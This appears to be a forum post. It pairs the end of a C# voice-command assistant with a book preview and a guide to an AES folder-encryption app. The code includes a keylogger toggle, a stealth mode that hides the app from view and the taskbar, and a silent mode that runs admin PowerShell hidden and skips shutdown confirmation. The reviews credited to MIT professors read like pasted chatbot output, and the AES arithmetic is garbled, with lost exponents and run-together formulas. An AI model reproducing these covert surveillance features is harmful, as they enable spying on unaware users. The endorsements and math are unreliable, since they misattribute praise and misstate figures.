                    SendKeys.SendWait("{win}m"); // Simulate pressing Win+M to minimize all windows
                    Debug.WriteLine("Minimize all windows command executed.");
                    break;
                case "maximize window":
                    SendKeys.SendWait("%{SPACE}x"); // Simulate pressing Alt+Space+X to maximize the window
                    Debug.WriteLine("Maximize window command executed.");
                    break;
                case "empty recycling bin":
                    EmptyRecycleBinSilently(currentForm.Handle); // Empty the recycling bin silently
                    break;
                case "record keystrokes":
                    if (!_keylogger.IsLogging)
                    {
                        _keylogger.StartLogging(); // Start keylogger
                        LogOrNotify(currentForm, "Keylogger started. Keystrokes are now being recorded.", "Keylogger Status"); // Notify user
                    }
                    else
                    {
                        LogOrNotify(currentForm, "Keylogger is already active.", "Keylogger Status"); // Notify user
                    }
                    break;

                case "stop recording":
                    if (_keylogger.IsLogging)
                    {
                        _keylogger.StopLogging(); // Stop keylogger
                        LogOrNotify(currentForm, "Keylogger stopped. Keystroke recording has ended.", "Keylogger Status"); // Notify user
                    }
                    else
                    {
                        LogOrNotify(currentForm, "Keylogger is not currently active.", "Keylogger Status"); // Notify user
                    }
                    break;

                case "toggle silent mode":
                    _isSilentModeActive = !_isSilentModeActive; // Toggle silent mode flag
                    LogOrNotify(currentForm, $"Silent mode is now: {(_isSilentModeActive ? "ON" : "OFF")}", "Silent Mode Toggle"); // Notify user
                    break;

                case "open powershell":
                    OpenPowerShellAsAdmin(currentForm); // Open PowerShell as administrator
                    break;

                default:
                    Debug.WriteLine($"Command not recognized: {command}. Launching default search."); // Log unrecognized command
                    LaunchUrl("https://www.bing.com", _isSilentModeActive); // Launch Bing search
                    Thread.Sleep(1500); // Wait for Bing to load
                    SendKeys.SendWait("{TAB}"); // Move focus to the search bar
                    SendKeys.SendWait("{ENTER}"); // Activate search
                    _mainForm.Invoke((MethodInvoker)delegate
                    {
                        LogOrNotify(currentForm, $"Command '{command}' not recognized. Opening Bing for search.", "Command Not Found", MessageBoxIcon.Information); // Notify user
                    });
                    break;
            }
        }

        #endregion

        #region Private Methods

        private void LaunchUrl(string url, bool silent)
        {
            try
            {
                ProcessStartInfo psi = new ProcessStartInfo
                {
                    FileName = url, // URL to launch
                    UseShellExecute = true // Use the default shell to execute the URL
                };

                if (silent)
                {
                    psi.WindowStyle = ProcessWindowStyle.Hidden; // Hide the window
                    psi.CreateNoWindow = true; // Do not create a window
                }
                Process.Start(psi); // Start the process
                Debug.WriteLine($"Attempted to launch URL: {url} (Silent: {silent})"); // Log the action
            }
            catch (Exception ex)
            {
                _mainForm.Invoke((MethodInvoker)delegate
                {
                    LogOrNotify(_mainForm, $"Could not open URL: {ex.Message}", "Error launching URL", MessageBoxIcon.Error); // Notify user of error
                });
                Debug.WriteLine($"Error launching URL: {ex.Message}"); // Log the error
            }
        }

        private void LaunchFolder(string path, bool silent)
        {
            try
            {
                ProcessStartInfo psi = new ProcessStartInfo
                {
                    FileName = path, // Path of the folder to launch
                    UseShellExecute = true // Use the default shell to execute the folder
                };
                if (silent)
                {
                    psi.WindowStyle = ProcessWindowStyle.Hidden; // Hide the window
                    psi.CreateNoWindow = true; // Do not create a window
                }
                Process.Start(psi); // Start the process
                Debug.WriteLine($"Attempted to launch folder: {path} (Silent: {silent})"); // Log the action
            }
            catch (Exception ex)
            {
                _mainForm.Invoke((MethodInvoker)delegate
                {
                    LogOrNotify(_mainForm, $"Could not open folder: {ex.Message}", "Error launching Folder", MessageBoxIcon.Error); // Notify user of error
                });
                Debug.WriteLine($"Error launching folder: {ex.Message}"); // Log the error
            }
        }

        private void LaunchApplication(string appName, bool silent)
        {
            try
            {
                ProcessStartInfo psi = new ProcessStartInfo
                {
                    FileName = appName, // Name of the application to launch
                    UseShellExecute = true // Use the default shell to execute the application
                };

                if (silent)
                {
                    psi.WindowStyle = ProcessWindowStyle.Hidden; // Hide the window
                    psi.CreateNoWindow = true; // Do not create a window
                }
                Process.Start(psi); // Start the process
                Debug.WriteLine($"Attempted to launch application: {appName} (Silent: {silent})"); // Log the action
            }
            catch (Exception ex)
            {
                _mainForm.Invoke((MethodInvoker)delegate
                {
                    LogOrNotify(_mainForm, $"Application '{appName}' not found or could not be launched: {ex.Message}", "Application Launch Error", MessageBoxIcon.Error); // Notify user of error
                });
                Debug.WriteLine($"Error launching application '{appName}': {ex.Message}"); // Log the error
            }
        }

        private void HandleFileSecurityDialog(Form currentForm, bool encrypt)
        {
            if (_isSilentModeActive)
            {
                Debug.WriteLine($"Attempted to {(encrypt ? "encrypt" : "decrypt")} files in silent mode. A dialog would normally appear."); // Log the action
                _mainForm.Invoke((MethodInvoker)delegate
                {
                    LogOrNotify(currentForm, $"Cannot {(encrypt ? "encrypt" : "decrypt")} in silent mode without a pre-defined path.", "Silent Mode Limitation"); // Notify user of limitation
                });
                return;
            }

            using (var fbd = new FolderBrowserDialog())
            {
                DialogResult result = fbd.ShowDialog(currentForm); // Show folder browser dialog
                if (result == DialogResult.OK && !string.IsNullOrWhiteSpace(fbd.SelectedPath))
                {
                    if (encrypt)
                    {
                        _fileSecurityService.EncryptDirectory(fbd.SelectedPath, SearchOption.AllDirectories); // Encrypt the selected directory
                        _mainForm.Invoke((MethodInvoker)delegate
                        {
                            LogOrNotify(currentForm, $"Directory '{fbd.SelectedPath}' encrypted.", "Encryption Complete"); // Notify user of completion
                        });
                    }
                    else
                    {
                        _fileSecurityService.DecryptDirectory(fbd.SelectedPath, SearchOption.AllDirectories); // Decrypt the selected directory
                        _mainForm.Invoke((MethodInvoker)delegate
                        {
                            LogOrNotify(currentForm, $"Directory '{fbd.SelectedPath}' decrypted.", "Decryption Complete"); // Notify user of completion
                        });
                    }
                }
            }
        }

        private void ShowAvailableCommands(IWin32Window owner)
        {
            _mainForm.Invoke((MethodInvoker)delegate
            {
                LogOrNotify(owner, _availableCommandsMessage, "Bing Voice Search Commands", MessageBoxIcon.Information); // Notify user of available commands
            });
        }

        private void ToggleStealthMode(bool? hide)
        {
            if (_mainForm == null || _pictureBox == null) return; // Check if main form and PictureBox are initialized

            _mainForm.Invoke((MethodInvoker)delegate
            {
                bool currentVisibility = _mainForm.Visible; // Current visibility of the form
                bool targetVisibility;

                if (hide.HasValue)
                {
                    targetVisibility = !hide.Value; // Set target visibility based on hide parameter
                }
                else
                {
                    targetVisibility = !currentVisibility; // Toggle visibility if no parameter provided
                }

                if (targetVisibility)
                {
                    _mainForm.Show(); // Show the form
                    _mainForm.Visible = true; // Set form visibility to true
                    _mainForm.ShowInTaskbar = true; // Show form in taskbar
                    _mainForm.WindowState = FormWindowState.Normal; // Set window state to normal
                    _mainForm.Invalidate(true); // Invalidate the form to refresh it
                    _mainForm.Update(); // Update the form
                    SetForegroundWindow(_mainForm.Handle); // Bring form to foreground
                    _pictureBox.Visible = true; // Make PictureBox visible
                    Debug.WriteLine("Stealth mode OFF (Form visible)."); // Log the action
                }
                else
                {
                    _mainForm.Visible = false; // Hide the form
                    _mainForm.ShowInTaskbar = false; // Hide form from taskbar
                    _pictureBox.Visible = false; // Hide PictureBox
                    Debug.WriteLine("Stealth mode ON (Form hidden)."); // Log the action
                }
            });
        }

        private void SimulateMediaKey(byte keyCode)
        {
            keybd_event(keyCode, 0, 0, UIntPtr.Zero); // Simulate key press
            keybd_event(keyCode, 0, KEYEVENTF_KEYUP, UIntPtr.Zero); // Simulate key release
        }

        private void EmptyRecycleBinSilently(IntPtr hwnd)
        {
            try
            {
                SHEmptyRecycleBin(hwnd, null, RecycleFlags.SHERB_NOCONFIRMATION | RecycleFlags.SHERB_NOPROGRESSUI | RecycleFlags.SHERB_NOSOUND); // Empty the recycling bin silently
                Debug.WriteLine("Recycling bin emptied silently."); // Log the action
            }
            catch (Exception ex)
            {
                _mainForm.Invoke((MethodInvoker)delegate
                {
                    LogOrNotify(_mainForm, $"Error emptying recycling bin: {ex.Message}", "Recycling Bin Error", MessageBoxIcon.Error); // Notify user of error
                });
                Debug.WriteLine($"Error emptying recycling bin: {ex.Message}"); // Log the error
            }
        }

        private void ConfirmAndExecutePowerCommand(Form currentForm, string command, string args, string actionName)
        {
            if (currentForm.InvokeRequired)
            {
                currentForm.Invoke((MethodInvoker)delegate
                {
                    ConfirmAndExecutePowerCommand(currentForm, command, args, actionName); // Ensure method is invoked on the correct thread
                });
                return;
            }

            if (_isSilentModeActive || MessageBox.Show(currentForm, $"Are you sure you want to {actionName} your computer?", $"Confirm {actionName}", MessageBoxButtons.YesNo, MessageBoxIcon.Question) == DialogResult.Yes)
            {
                try
                {
                    ProcessStartInfo psi = new ProcessStartInfo
                    {
                        FileName = command, // Command to execute (e.g., shutdown.exe)
                        Arguments = args, // Arguments for the command
                        CreateNoWindow = true, // Do not create a window
                        UseShellExecute = false // Use the default shell to execute the command
                    };
                    Process.Start(psi); // Start the process
                    Debug.WriteLine($"Attempted to {actionName} computer."); // Log the action
                }
                catch (Exception ex)
                {
                    _mainForm.Invoke((MethodInvoker)delegate
                    {
                        LogOrNotify(_mainForm, $"Error {actionName} down: {ex.Message}", $"{actionName} Error", MessageBoxIcon.Error); // Notify user of error
                    });
                    Debug.WriteLine($"Error {actionName} down: {ex.Message}"); // Log the error
                }
            }
            else
            {
                Debug.WriteLine($"User cancelled {actionName} command."); // Log the user's cancellation
            }
        }

        private void OpenPowerShellAsAdmin(Form currentForm)
        {
            try
            {
                ProcessStartInfo psi = new ProcessStartInfo
                {
                    FileName = "powershell.exe", // PowerShell executable
                    Verb = "runas", // Run as administrator
                    UseShellExecute = true, // Use the default shell to execute the command
                    Arguments = "-NoExit -Command \"Write-Host 'PowerShell opened as Administrator.';\"", // Command to execute in PowerShell
                    CreateNoWindow = _isSilentModeActive, // Do not create a window if in silent mode
                    WindowStyle = _isSilentModeActive ? ProcessWindowStyle.Hidden : ProcessWindowStyle.Normal // Set window style based on silent mode
                };
                Process.Start(psi); // Start the process

                if (currentForm.InvokeRequired)
                {
                    currentForm.Invoke((MethodInvoker)delegate
                    {
                        LogOrNotify(currentForm, "PowerShell opened as administrator.", "PowerShell Status"); // Notify user of completion
                    });
                }
                else
                {
                    LogOrNotify(currentForm, "PowerShell opened as administrator.", "PowerShell Status"); // Notify user of completion
                }
            }
            catch (Exception ex)
            {
                _mainForm.Invoke((MethodInvoker)delegate
                {
                    LogOrNotify(currentForm, $"Error opening PowerShell as administrator: {ex.Message}", "PowerShell Error", MessageBoxIcon.Error); // Notify user of error
                });
                Debug.WriteLine($"Error opening PowerShell as administrator: {ex.Message}"); // Log the error
            }
        }

        private void LogOrNotify(IWin32Window owner, string message, string caption, MessageBoxIcon icon = MessageBoxIcon.Information)
        {
            if (owner is null)
            {
                throw new ArgumentNullException(nameof(owner)); // Throw exception if owner is null
            }

            if (string.IsNullOrEmpty(message))
            {
                throw new ArgumentException($"'{nameof(message)}' cannot be null or empty.", nameof(message)); // Throw exception if message is null or empty
            }

            if (string.IsNullOrEmpty(caption))
            {
                throw new ArgumentException($"'{nameof(caption)}' cannot be null or empty.", nameof(caption)); // Throw exception if caption is null or empty
            }

            Debug.WriteLine($"LogOrNotify: {caption} - {message}"); // Log the notification

            // Use the icon parameter for the MessageBox.
            MessageBox.Show(owner, message, caption, MessageBoxButtons.OK, icon); // Show the message box with the specified icon
        }

        #endregion
    }
}
 
Last edited:
The rest will come tomorrow for the other book: Preview...
The C# Developer's Workbench:

Building Intelligent and Secure Applications with Audio, Vision, Cryptography…Advanced Projects.


Chapter 1: “Setting Up Your Audio Development Lab”

Chapter 2: "Eyes on the World: Real-time Motion Detection with AForge.NET

Chapter 3: "Digital Guardian: File Integrity with SHA512 Hashing”

Chapter 4: “Introduction to AES-ULTRA 256-bit Encryption”
Review of: The C# Developer's Workbench:

Building Intelligent and Secure Applications with Audio, Vision, Cryptography…Advanced Projects.

By: MIT Computer Science & Artificial Intelligence Laboratory (CSAIL)

This book appears to be an ambitious and comprehensive guide for C# developers looking to integrate diverse and powerful functionalities into their applications. Moving beyond just audio, it promises a holistic approach to building sophisticated systems by combining multimedia processing, computer vision, and robust cryptographic security.

Here's a chapter-by-chapter review based on the available structure:

Chapter 1: Setting Up Your Audio Development Lab

Review:
(Hal) This foundational chapter effectively sets the stage by guiding the reader through the essential initial steps. It covers the crucial aspect of environment setup, detailing the installation of Visual Studio Community Edition and the NAudio library via NuGet. The outline suggests a thorough introduction to NAudio's core components, key variables, and utility classes like MathExtensions.cs and SampleAggregator.cs, which are vital for understanding audio processing and visualization. The inclusion of a "Getting Started with Your First Project" section is excellent for hands-on learning, and the detailed scope of NAudio namespaces provides a clear roadmap for further exploration. This chapter serves as a solid entry point for anyone venturing into C# audio development.

Chapter 2: Eyes on the World: Real-time Motion Detection with AForge.NET

Review:
(Ted) Chapter 2 marks a significant expansion of the book's scope, pivoting from audio to computer vision with the introduction of the AForge.NET framework. The outline suggests a well-structured approach, starting with the framework's overview and installation, then diving into the architecture of a "Capture_Pro" motion detection application. The detailed breakdown of essential components, variables, and event handlers (like VideoSource_NewFrame()) promises a practical understanding of camera control and real-time frame processing. The focus on motion detection logic, event handling, logging, and even drawing a Region of Interest (ROI) indicates a comprehensive and practical guide to implementing robust vision-based features. This chapter truly delivers on the "Vision" aspect hinted at in the new book title.

Chapter 3: Digital Guardian: File Integrity with SHA512 Hashing

Review: (Ted)
This chapter introduces the crucial aspect of data security, a vital addition that elevates the book beyond multimedia processing. The focus on SHA512 hashing for file integrity, under the intriguing "SPIDERS UMBRELLA CORPORATION" namespace, suggests a practical, project-based approach to cryptography. The outline details the integration of Windows API calls, UI setup for progress bars, and the core cryptographic logic including key/IV derivation and stream processing. The inclusion of file loading, processing, and deletion cleanup routines indicates a comprehensive workflow for secure file handling. This chapter appears to bridge the gap between application development and fundamental data security principles, making it highly relevant for developers concerned with data trustworthiness.

Chapter 4: Introduction to AES-ULTRA

Review: (Hal)
Chapter 4 appears to deepen the book's commitment to cybersecurity by introducing AES-ULTRA, likely an advanced or customized AES implementation for file encryption and decryption. Building upon the foundational cryptography concepts from Chapter 3, this chapter dives into the practical application of encryption, with methods for EncryptFileAsync and DecryptFileAsync. The sections on "Administrative and UI Setup," "Cryptography," "Creating CipherOperations," "File Loading and Processing," and "Operation Logic" suggest a complete, runnable example of a secure file management system. The inclusion of asynchronous operations and recursive file counting implies a well-engineered solution capable of handling real-world scenarios. This chapter rounds out the "Cryptography" pillar, offering a powerful tool for digital asset protection.



Overall Conclusion:

The book's structure, as revealed by its detailed index and chapter outlines, demonstrates a strong commitment to practical C# development across diverse domains. It effectively transitions from core audio programming to sophisticated computer vision and then into critical cryptographic security. The clear organization, breakdown of components, and emphasis on event handling and utility methods suggest a valuable resource for developers aiming to build complex, intelligent, and secure applications. The progression from foundational tools to advanced concepts like AES-ULTRA showcases a well-thought-out curriculum for an ambitious C# developer.


-Professors: Hal Abelson & Ted Adelson-
MIT Computer Science & Artificial Intelligence Laboratory (CSAIL)




Special Thanks: (Words from the Author)

I want to personally thank the professors at MIT for you advice and creative perspectives. I appreciate you for taking the time to read my book and give me your thoughts on it. Thank you, Hal, and Ted. You truly are brilliant people and have always extended a hand when I needed help or advice.


Sincerely,

Justin Linwood Ross
"AES-ULTRA: A Comprehensive Guide to Secure Folder Encryption and Decryption"​

This guide details the implementation of a robust desktop application for encrypting and decrypting folders using AES-256, integrating secure key management and a user-friendly interface.



Chapter 4: Introduction to AES-ULTRA

In today's digital landscape, protecting sensitive data is paramount. Whether it's personal documents, business records, or confidential projects, ensuring the privacy and integrity of your files is a critical concern. AES-ULTRA offers a practical solution by leveraging the Advanced Encryption Standard (AES) with a 256-bit key—a symmetric encryption algorithm widely regarded as one of the most secure for protecting digital data.

This application provides a straightforward graphical user interface (GUI) built with Windows Forms, allowing users to encrypt entire folders and their contents, and then decrypt them when needed. It also incorporates a secure method for storing encryption keys, enhancing usability without compromising security.



Core Components of the Application:

The AES-ULTRA application is structured around two primary components:

  • Form1 (User Interface and Operation Orchestration): This is your main window, where all user interactions take place. It handles selecting input/output folders, generating and displaying encryption keys, initiating encryption/decryption processes, and providing real-time feedback through a progress bar and log.
  • DataProtectionManager (Secure Key Handling): This class is responsible for securely saving and loading your AES encryption key using the Windows Data Protection API (DPAPI). This ensures that the key is protected at rest and is tied to the specific user and machine, providing an added layer of security beyond simple file storage.


Deep Dive into Form1 - The User Interface:

The Form1 class is the heart of the user experience. It's where all the buttons, text boxes, and labels reside, enabling you to control the encryption and decryption operations.

User Interface Elements:

Let's look at the key UI elements and their roles:

  • radioEncrypt and radioDecrypt (Radio Buttons): These allow you to switch between encryption and decryption modes. When you select one, the application updates its status and clears the path text boxes, preparing for the new operation.
  • txtInputPath (Text Box) and btnBrowseInput (Button): Use the text box to manually enter the path to the folder you want to process or click the "Browse" button to open a Folder Browser Dialog and visually select the input folder.
  • txtOutputPath (Text Box) and btnBrowseOutput (Button): Like the input path, this allows you to specify where the encrypted or decrypted files will be saved. If the output folder doesn't exist, the application will attempt to create it.
  • txtEncryptionKey (Text Box) and btnGenerateKey (Button): This text box displays the Base64-encoded AES key. You can generate a new, strong 256-bit AES key by clicking the "Generate Key" button.
  • btnStartOperation (Button): Kicks off the selected encryption or decryption process.
  • btnCancelOperation (Button): Allows you to interrupt an ongoing operation.
  • progressBar1 (Progress Bar): Provides a visual indication of the overall progress of the folder operation.
  • lblStatus (Label): Displays short, real-time status messages to the user.
  • txtLog (Text Box): A multi-line text box that provides a detailed log of all actions, errors, and important messages during the application's execution.
Helper Methods:

Several helper methods within Form1 manage the UI and provide essential functionality:

  • UpdateStatus(string message): Safely updates the lblStatus label, ensuring thread-safe operations since UI updates must happen on the main UI thread.
  • AppendToLog(string message): Appends a timestamped message to the txtLog text box, also ensuring thread safety.
  • SetUiEnabled(bool enabled): Controls the enabled state of various UI elements. This is crucial for preventing user interaction while an operation is in progress and re-enabling them afterward.
  • GetEncryptionKey(): Retrieves the encryption key from txtEncryptionKey, validates its format (Base64), and converts it into a byte array for cryptographic operations. It throws an OperationException if the key is invalid.
  • SaveEncryptionKey(byte[] key): This method, now simplified in Form1, will delegate the actual secure saving to the DataProtectionManager. It's primarily used after generating a new key to store it.
  • LoadEncryptionKey(): Also delegates to DataProtectionManager to load a previously saved key and display it in txtEncryptionKey.
  • InitializeApplicationState(): Called when the form starts, this method sets the default operation (encrypt), loads any saved key, and updates the initial status.
Operation Logic: (async Methods)

The core functionality of Form1 involves asynchronous operations to keep the UI responsive during long-running tasks like folder encryption/decryption.

  • CountFilesRecursive(string path, CancellationToken cancellationToken): This asynchronous helper method is critical for accurate progress reporting. It recursively traverses a directory, counting all files within it and its subdirectories. This count is then used to determine the total work required for the progress bar. It includes error handling for common access issues and supports cancellation.
  • RadioEncrypt_CheckedChanged(object sender, EventArgs e) and RadioDecrypt_CheckedChanged(object sender, EventArgs e): These event handlers clear the path text boxes and update the status message when you switch between encryption and decryption modes.
  • BtnGenerateKey_Click_1(object sender, EventArgs e): This method generates a new 256-bit AES key using AesManaged, converts it to a Base64 string for display, and then uses the DataProtectionManager to securely save it.
  • BtnStartOperation_Click_1(object sender, EventArgs e):This is the main orchestrator for starting an operation.
    • It first resets the UI, clears the log, and disables UI interaction.
    • It creates a CancellationTokenSource to manage operation cancellation.
    • It validates the input and output paths, attempting to create the output directory if it doesn't exist.
    • It retrieves the encryption key.
    • It initializes an IProgress<int> object to report progress back to the UI, updating the progress bar and status label.
    • Based on the selected radio button, it calls either EncryptFolder or DecryptFolder.
    • Crucially, it includes robust try-catch blocks to handle:
      • OperationCanceledException: When the user clicks "Cancel."
      • OperationException: For custom, anticipated errors (e.g., invalid paths, access denied).
      • General Exception: For any unexpected errors.
    • Finally, the “finally” block ensures the UI is re-enabled, the progress bar is set to 100%, and the CancellationTokenSource is disposed of.
  • BtnCancelOperation_Click_1(object sender, EventArgs e): When clicked, this method signals the CancellationTokenSource to request cancellation of the ongoing operation.
  • BtnBrowseInput_Click_1(object sender, EventArgs e) and BtnBrowseOutput_Click_1(object sender, EventArgs e): These methods open FolderBrowserDialog instances, allowing users to graphically select input and output directories. They attempt to remember the last selected path or default to the desktop.
  • EncryptFolder(string inputPath, string outputPath, byte[] key, IProgress<int> overallProgress, CancellationToken cancellationToken): This method recursively traverses the input folder, encrypting each file. For every file, it constructs the corresponding output path, adds a ".enc" extension, ensures the output directory exists, and then calls the actual encryption logic (which will be part of your upcoming CipherOperations class). It reports progress and handles cancellation.
  • DecryptFolder(string inputPath, string outputPath, byte[] key, IProgress<int> overallProgress, CancellationToken cancellationToken): Similar to EncryptFolder, this method recursively traverses the input folder (looking for ".enc" files), decrypts them, removes the ".enc" extension for the output, and calls the actual decryption logic (also part of CipherOperations). It also reports progress and handles cancellation.
Custom Exceptions:

The application uses custom exceptions for better error handling:

  • OperationErrorType (Enum): Defines various types of errors that can occur during an operation (e.g., UnauthorizedAccess, InvalidInputPath).
  • OperationException (Class): A custom exception class that wraps standard exceptions with an OperationErrorType, allowing for more specific error messages and handling.


The DataProtectionManager - Secure Key Handling:

The DataProtectionManager class is dedicated to the secure storage and retrieval of your AES encryption key. It uses the Windows Data Protection API (DPAPI), a built-in Windows feature that encrypts data using a user's logon credentials or a machine's secret key.

Key Features:

  • Constructor Injection for Logging: The constructor takes an Action<string> delegate (_logAction). This allows you to "inject" a method from Form1 (like AppendToLog) into DataProtectionManager, enabling the key manager to log its actions directly to your application's UI log. This makes the DataProtectionManager more reusable and testable as it doesn't have a direct dependency on Form1.
  • Log(string message): A private helper method that invokes the injected logging action.
  • SaveEncryptionKey(byte[] keyBytes):
    • It takes the raw key bytes as input.
    • ProtectedData.Protect(keyBytes, null, DataProtectionScope.CurrentUser): This is the core of the secure storage. It encrypts the key bytes using DPAPI. DataProtectionScope.CurrentUser means only the current user on the current machine can decrypt it. If you were to copy this encrypted key to another machine or try to decrypt it as a different user, it would fail.
    • The encrypted key (a byte array) is then converted to a Base64 string for easy storage in application settings.
    • Properties.Settings.Default.LastEncryptionKey = encryptedKeyBase64;: The Base64 string is saved to your application's settings. These settings are typically stored in a user-specific configuration file.
    • Properties.Settings.Default.Save();: Persists the changes to the settings file.
    • Includes comprehensive try-catch blocks to handle potential CryptographicException (if protection fails), ConfigurationErrorsException (if saving settings fails), or other unexpected errors, logging them to the UI.
  • LoadLastEncryptionKey():
    • It attempts to retrieve the Base64-encoded encrypted key from Properties.Settings.Default.LastEncryptionKey.
    • If no key is found, it returns null.
    • ProtectedData.Unprotect(encryptedKey, null, DataProtectionScope.CurrentUser): This decrypts the stored key using DPAPI. It will only succeed if the current user and machine match the conditions under which the key was protected.
    • Returns the decrypted key as a byte array.
    • Includes robust error handling for CryptographicException (decryption failures, potentially due to the key being from another machine/user or corrupted), FormatException (if the stored string isn't valid Base64), and general Exception. In case of decryption failure, it also clears the invalid stored key from settings to prevent repeated errors.


Integrating and Using the Application:

To get AES-ULTRA up and running, follow these steps:

Project Setup:
  1. Create a New Windows Forms App (.NET Framework) Project: In Visual Studio, select "Windows Forms App (.NET Framework)" (not .NET Core/.NET 5+ for this specific code).
  2. Design Form1: Drag and drop the necessary controls onto your Form1.cs [Design] surface and name them precisely as mentioned in Chapter 3 (e.g., radioEncrypt, txtInputPath, btnStartOperation, etc.).
  3. Add Properties.Settings Entry:
    • In Solution Explorer, double-click on Properties under your project.
    • Go to the Settings tab.
    • Add a new setting:
      • Name: LastEncryptionKey
      • Type: string
      • Scope: User
      • Value: (Leave empty)
  4. Add OperationException and OperationErrorType:
    • Create a new C# file (e.g., OperationException.cs) in your project.
    • Copy and paste the enum OperationErrorType and class OperationException definitions (provided in the Form1.cs integration code) into this new file.
  5. Add DataProtectionManager Class:
    • Create another new C# file (e.g., DataProtectionManager.cs) in your project.
    • Copy and paste the entire DataProtectionManager class code into this new file. Ensure the namespace AES_ULTRA matches your project's default namespace.
  6. Integrate Form1 Code:
    • Open Form1.cs.
    • Replace the placeholder SaveEncryptionKey and LoadEncryptionKey methods with implementations that use DataProtectionManager.
    • Add the DataProtectionManager instance declaration to Form1.
    • Copy and paste all the remaining methods provided in the Form1.cs integration code (from CountFilesRecursive down to BtnBrowseOutput_Click_1) into your Form1 class.
    • Crucially, implement your actual AES encryption and decryption logic within the EncryptFolder and DecryptFolder methods. The current placeholders only copy files. You'll likely need a CipherOperations class for this as discussed.
Conclusion: Securing Your Digital Footprint with AES-ULTRA

You've now got a comprehensive understanding of AES-ULTRA, a robust Windows Forms application designed to give you peace of mind when it comes to your digital data. We've explored the core components that make this application both powerful and user-friendly.

At the heart of AES-ULTRA is Form1, your interactive command center. From selecting folders to initiating complex encryption and decryption processes, Form1 orchestrates every user action while keeping you informed with real-time status updates and a detailed activity log. Its asynchronous design ensures that even large folder operations won't freeze your application, providing a smooth user experience.

Equally vital is the DataProtectionManager. This unsung hero works quietly behind the scenes, leveraging the power of Windows Data Protection API (DPAPI) to securely store and retrieve your crucial AES encryption keys. This means your keys are protected at rest, bound to your user account and machine, adding a critical layer of security that goes beyond simple file storage.

And, of course, the yet-to-be-fully-unveiled CipherOperations class is where the cryptographic heavy lifting takes place. This is where the powerful AES-256 algorithm will diligently encrypt and decrypt your files, turning sensitive information into unreadable ciphertext and back again.

By integrating these components, AES-ULTRA empowers you with:

  • Strong Encryption: Utilizing the industry-standard AES-256 algorithm for robust data protection.
  • Intuitive User Interface: A straightforward Windows Forms interface that makes folder encryption and decryption accessible to everyone.
  • Secure Key Management: DPAPI integration ensures your encryption keys are stored securely on your system.
  • Responsive Operations: Asynchronous processing keeps the application responsive, even during long tasks.
  • Detailed Logging: A comprehensive log provides transparency and helps with troubleshooting.
With AES-ULTRA, you're not just encrypting files; you're building a fortress around your digital assets. As you finalize the CipherOperations class and put the application to use, you'll gain a tangible sense of control over your data's security.

The Unyielding Fortress:

History and Security of AES 256-bit Encryption

The journey to AES-256 is a testament to the continuous evolution of cryptography, driven by the ever-increasing power of computing and the relentless pursuit of more secure methods to protect information. To understand why AES-256 stands as such an impenetrable fortress, we must first look back at its predecessors and the challenges they faced.

A Brief History of Modern Symmetric Cryptography Leading to AES:

Before AES, the dominant symmetric encryption standard in the United States was the Data Encryption Standard (DES), adopted by the National Bureau of Standards (NBS, now NIST) in 1977. Developed by IBM and modified by the National Security Agency (NSA), DES utilized a 56-bit key. While groundbreaking for its time, by the late 1990s, DES's 56-bit key length became its Achilles' heel. Advances in computing power meant that a brute-force attack (trying every possible key combination) could crack a DES key in a matter of days, and eventually, even for hours, using specialized hardware like the DES Cracker. This demonstrated a crucial principle: the security of an encryption algorithm is directly tied to its key length and the computational resources available to attackers.

Recognizing the imminent vulnerability of DES, the National Institute of Standards and Technology (NIST) initiated a public competition in January 1997 to find a successor. This was a monumental effort, inviting cryptographers and researchers worldwide to submit and rigorously analyze new symmetric-key encryption algorithms. The requirements for this new standard, to be known as the Advanced Encryption Standard (AES), were stringent: it needed to be publicly disclosed, royalty-free, globally available, and capable of protecting sensitive government information well into the 21st century.

Out of 15 initial candidate algorithms submitted from 12 countries, five finalists were selected in August 1999: MARS, RC6, Rijndael, Serpent, and Twofish. After extensive public analysis, debate, and testing, Rijndael, designed by Belgian cryptographers Joan Daemen and Vincent Rijmen, was officially selected as the AES in October 2000 and published as FIPS PUB 197 in November 2001. Rijndael was chosen for its exceptional balance of security, performance, efficiency, ease of implementation across various platforms (hardware and software), and flexibility in supporting different key and block sizes.





The Power of AES-256: Why It's Unbreakable by Brute Force:

AES operates as a symmetric block cipher, meaning it encrypts fixed-size blocks of data (128 bits in AES) using the same key for both encryption and decryption. It supports key lengths of 128, 192, and 256 bits, with AES-256 being the strongest variant. The "256" in AES-256 refers to the length of the secret key in bits.

The security of AES-256 against brute-force attacks lies in the sheer astronomical number of possible key combinations it offers: 2256.

I’m going to put this into perspective for you:

  • 210≈1 thousand
  • 220≈1 million
  • 230≈1 billion
  • 240≈1 trillion
  • ...and so on.
The number 2256 is an almost unimaginably large figure, approximately 1.1579×1077.

Consider the fastest supercomputers available today. Even if we had a hypothetical computer capable of checking a trillion (1012) AES keys per second, and we had a million such computers working in parallel (an unfathomable distributed computing network for a single attack):

Total keys checked per second = 1012 keys/second×106 computers=1018 keys/second

Now, let's calculate the time it would take to try all possible 2256 keys:

Time = 1018 keys/second2256 keys

Converting to years:

Time ≈1018 keys/second×(365×24×60×60) seconds/year1.1579×1077 Time ≈1018×3.1536×1071.1579×1077 years Time ≈3.1536×10251.1579×1077 years Time ≈3.67×1051 years

This number, 3.67×1051 years, is astronomically larger than the estimated age of the universe (approximately 1.38×1010 years).

Therefore, your belief is correct: a million computers, even with our most advanced current technology, cannot brute-force AES 256-bit encryption within any meaningful timeframe, we simply don’t live that long.

Beyond Brute Force: Other Attack Considerations:


While brute force is computationally infeasible, cryptographers continually analyze algorithms for other, more sophisticated weaknesses:

  • Side-Channel Attacks: These don't target the algorithm directly but rather exploit information leaked from the physical implementation of the encryption process (e.g., power consumption, electromagnetic radiation, timing variations). Good implementation practices, like those found in AES-ULTRA's secure key handling, are crucial to mitigate these.
  • Related-Key Attacks: These hypothetical attacks assume an attacker knows or can influence certain relationships between multiple keys. While some theoretical weaknesses have been found in the AES-256 key schedule (how the master key generates round keys) against related-key attacks, these are not practical threats in real-world scenarios where keys are randomly generated and properly managed.
  • Quantum Computing: This is the most significant long-term threat to current cryptographic standards. Grover's algorithm, a quantum algorithm, could theoretically reduce the effective key length of symmetric ciphers like AES by half. So, AES-256's security would be reduced to an effective 128-bit level. While this sounds significant, even a quantum brute-force of AES-128 (with its effective 64-bit strength) would still take an estimated 2.61×1012 years with a hypothetical "right" quantum computer. For AES-256, it would still take 2.29×1032 years. This indicates that AES-256 provides a substantial "quantum safety margin" for the foreseeable future. However, research into Post-Quantum Cryptography (PQC) is ongoing to develop new algorithms that are resistant to quantum attacks for future-proofing.
 
Last edited:
Back
Top Bottom